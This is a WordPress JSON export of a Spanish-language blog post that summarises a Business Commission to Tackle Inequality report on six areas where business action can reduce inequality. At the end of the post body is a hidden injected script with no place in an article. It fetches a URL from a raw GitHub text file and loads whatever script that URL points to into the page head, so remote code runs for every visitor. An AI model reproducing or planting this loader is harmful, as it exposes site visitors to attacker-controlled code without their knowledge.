{"id":3455,"date":"2022-08-01T11:33:55","date_gmt":"2022-08-01T16:03:55","guid":{"rendered":"http:\/\/vocesvitalesvenezuela.org\/site\/?p=3455"},"modified":"2024-07-25T05:29:49","modified_gmt":"2024-07-25T09:59:49","slug":"los-desafios-empresariales-para-abordar-la-desigualdad","status":"publish","type":"post","link":"http:\/\/vocesvitalesvenezuela.org\/site\/?p=3455","title":{"rendered":"Los desaf\u00edos empresariales para abordar la desigualdad"},"content":{"rendered":"<p><a href=\"http:\/\/vocesvitalesvenezuela.org\/site\/wp-content\/uploads\/2022\/08\/Los-desafios-empresariales-para-abordar-la-desigualdad.jpg\"><img loading=\"lazy\" class=\" wp-image-3456 alignleft\" src=\"http:\/\/vocesvitalesvenezuela.org\/site\/wp-content\/uploads\/2022\/08\/Los-desafios-empresariales-para-abordar-la-desigualdad-300x200.jpg\" alt=\"\" width=\"499\" height=\"332\" srcset=\"http:\/\/vocesvitalesvenezuela.org\/site\/wp-content\/uploads\/2022\/08\/Los-desafios-empresariales-para-abordar-la-desigualdad-300x200.jpg 300w, http:\/\/vocesvitalesvenezuela.org\/site\/wp-content\/uploads\/2022\/08\/Los-desafios-empresariales-para-abordar-la-desigualdad.jpg 640w\" sizes=\"(max-width: 499px) 100vw, 499px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h5 style=\"text-align: justify;\">21 de julio de 2022<\/h5>\n<h5 style=\"text-align: justify;\">Fuente: <a href=\"https:\/\/www.agorarsc.org\/los-desafios-empresariales-para-abordar-la-desigualdad\/\">https:\/\/www.agorarsc.org\/los-desafios-empresariales-para-abordar-la-desigualdad\/ <\/a><\/h5>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"text-align: justify;\"><em><strong>Un nuevo informe subraya la desigualdad como un riesgo sist\u00e9mico, uno que las empresas tienen la responsabilidad y una gran oportunidad de abordar a trav\u00e9s de seis \u00e1reas de acci\u00f3n.<\/strong><\/em><\/li>\n<li style=\"text-align: justify;\"><em><a href=\"https:\/\/tacklinginequality.org\/our-commissioners\">El informe refleja los aportes de los comisionados<\/a>\u00a0de la\u00a0<strong>Comisi\u00f3n Empresarial para Abordar la Desigualdad (BCTI) que representan a las empresas, la sociedad civil, las instituciones intergubernamentales, el movimiento laboral y la comunidad de inversionistas.<\/strong><\/em><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Un nuevo informe de la\u00a0<strong><em>Business Commission to Tackle Inequality<\/em><\/strong>\u00a0(\u00a0<a href=\"https:\/\/tacklinginequality.org\/\">BCTI<\/a>\u00a0), Tackling\u00a0<em>Inequality: The Urgent Need for Business Action<\/em>\u00a0, subraya la creciente desigualdad como un riesgo sist\u00e9mico cr\u00edtico y aboga por que las empresas tomen medidas urgentes para abordar a trav\u00e9s de seis \u00e1reas clave.<\/p>\n<p style=\"text-align: justify;\">Este\u00a0<a href=\"https:\/\/tacklinginequality.org\/files\/introduction.pdf\">informe introductorio<\/a>\u00a0es el primer resultado de BCTI, una coalici\u00f3n intersectorial y de m\u00faltiples partes interesadas de m\u00e1s de 60 organizaciones y sus l\u00edderes, convocada por el Consejo Empresarial Mundial para el Desarrollo Sostenible (\u00a0<a href=\"https:\/\/www.wbcsd.org\/\">WBCSD<\/a>\u00a0), con la misi\u00f3n de abordar la desigualdad en la agenda corporativa y movilizar la acci\u00f3n del sector privado para generar prosperidad compartida para todos.\u00a0<a href=\"https:\/\/tacklinginequality.org\/our-commissioners\">El informe refleja los aportes de los comisionados<\/a>\u00a0de BCTI\u00a0que representan a las empresas, la sociedad civil, las instituciones intergubernamentales, el movimiento laboral y la comunidad de inversionistas.<\/p>\n<p style=\"text-align: justify;\"><strong>El informe destaca c\u00f3mo las amplias disparidades en los ingresos, la riqueza y el bienestar general\u00a0<\/strong>est\u00e1 erosionando la cohesi\u00f3n social, disminuyendo la confianza en las instituciones clave, alimentando los conflictos civiles y pol\u00edticos, restringiendo el crecimiento econ\u00f3mico y dejando a nuestras sociedades incapaces de enfrentar otros desaf\u00edos apremiantes, desde COVID-19 hasta la emergencia clim\u00e1tica.<\/p>\n<p style=\"text-align: justify;\">Est\u00e1 surgiendo una l\u00f3gica comercial clara para que las empresas usen sus activos y capacidades para nivelar el campo de juego, crear oportunidades para todas las personas y, en \u00faltima instancia, reducir las brechas sociales y econ\u00f3micas.<\/p>\n<p>&nbsp;<\/p>\n<blockquote><p><em>\u201cLas empresas tienen poderosas palancas a su disposici\u00f3n para ayudar a abordar la desigualdad, y poderosas razones para usarlas.\u00a0Se est\u00e1 produciendo un cambio fundamental en la forma en que se percibe y mide el rendimiento empresarial.\u00a0Maximizar el valor para los accionistas a expensas de los trabajadores, las comunidades y las sociedades ya no es una estrategia comercial inteligente.\u00a0En esta coyuntura cr\u00edtica, con las consecuencias econ\u00f3micas y sociales de la profundizaci\u00f3n de la desigualdad en todo el mundo, es vital que las empresas muestren liderazgo y tomen medidas pr\u00e1cticas\u00bb.<\/em><\/p>\n<p>&nbsp;<\/p><\/blockquote>\n<p style=\"text-align: justify;\">James Gomme, Director de Equity Action en WBCSD<\/p>\n<p style=\"text-align: justify;\">El informe describe seis \u00e1reas amplias en las que la acci\u00f3n empresarial ser\u00e1 fundamental para reducir la desigualdad:<\/p>\n<ol style=\"text-align: justify;\">\n<li><strong>Respetar los derechos humanos<\/strong>\u00a0como\u00a0requisitos b\u00e1sicos de la igualdad de condiciones<\/li>\n<li><strong>Mejorar el acceso a productos y servicios esenciales,<\/strong>\u00a0como educaci\u00f3n, atenci\u00f3n m\u00e9dica, servicios financieros e infraestructura digital<\/li>\n<li><strong>Creando empleos y oportunidades econ\u00f3micas para todos,<\/strong>\u00a0adoptando la diversidad y la inclusi\u00f3n mientras navegamos por tendencias y cambios como la evoluci\u00f3n tecnol\u00f3gica y la transici\u00f3n a una econom\u00eda neta cero.<\/li>\n<li><strong>Distribuir el valor y el riesgo de manera equitativa<\/strong>\u00a0entre los accionistas, trabajadores y socios comerciales en todos los niveles de la organizaci\u00f3n y el suministro.<\/li>\n<li><strong>Permitir la acci\u00f3n del gobierno sobre la desigualdad,<\/strong>\u00a0por ejemplo a trav\u00e9s de pol\u00edticas p\u00fablicas y servicios p\u00fablicos<\/li>\n<li><strong>Acelerar la acci\u00f3n para abordar el cambio clim\u00e1tico y la p\u00e9rdida de la naturaleza,<\/strong>\u00a0que afectan m\u00e1s a los m\u00e1s vulnerables .<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">En los pr\u00f3ximos meses, el BCTI se basar\u00e1 en esta agenda de alto nivel, trabajando para definir las acciones espec\u00edficas que las empresas deben tomar en cada una de estas seis \u00e1reas.\u00a0Los resultados se publicar\u00e1n en un informe principal a principios de 2023. Al mismo tiempo, el BCTI y sus comisionados tambi\u00e9n utilizar\u00e1n este proceso para identificar un n\u00famero selecto de oportunidades para pasar del establecimiento de la agenda a la acci\u00f3n catalizadora y de apoyo en escala.<\/p>\n<p style=\"text-align: justify;\">P<a href=\"https:\/\/pixabay.com\/es\/users\/ptrabattoni-88716\/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=212591\">aolo Trabattoni<\/a>\u00a0en\u00a0<a href=\"https:\/\/pixabay.com\/es\/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=212591\">Pixabay<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><script>var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 21 de julio de 2022 Fuente: https:\/\/www.agorarsc.org\/los-desafios-empresariales-para-abordar-la-desigualdad\/ &nbsp; Un nuevo informe subraya la desigualdad como un riesgo sist\u00e9mico, uno que las empresas tienen la responsabilidad y una gran oportunidad de abordar&hellip; <a href=\"http:\/\/vocesvitalesvenezuela.org\/site\/?p=3455\" class=\"more-link\">Continuar leyendo <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":3456,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[100],"tags":[32,604,90],"_links":{"self":[{"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=\/wp\/v2\/posts\/3455"}],"collection":[{"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3455"}],"version-history":[{"count":0,"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=\/wp\/v2\/posts\/3455\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=\/wp\/v2\/media\/3456"}],"wp:attachment":[{"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3455"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/vocesvitalesvenezuela.org\/site\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}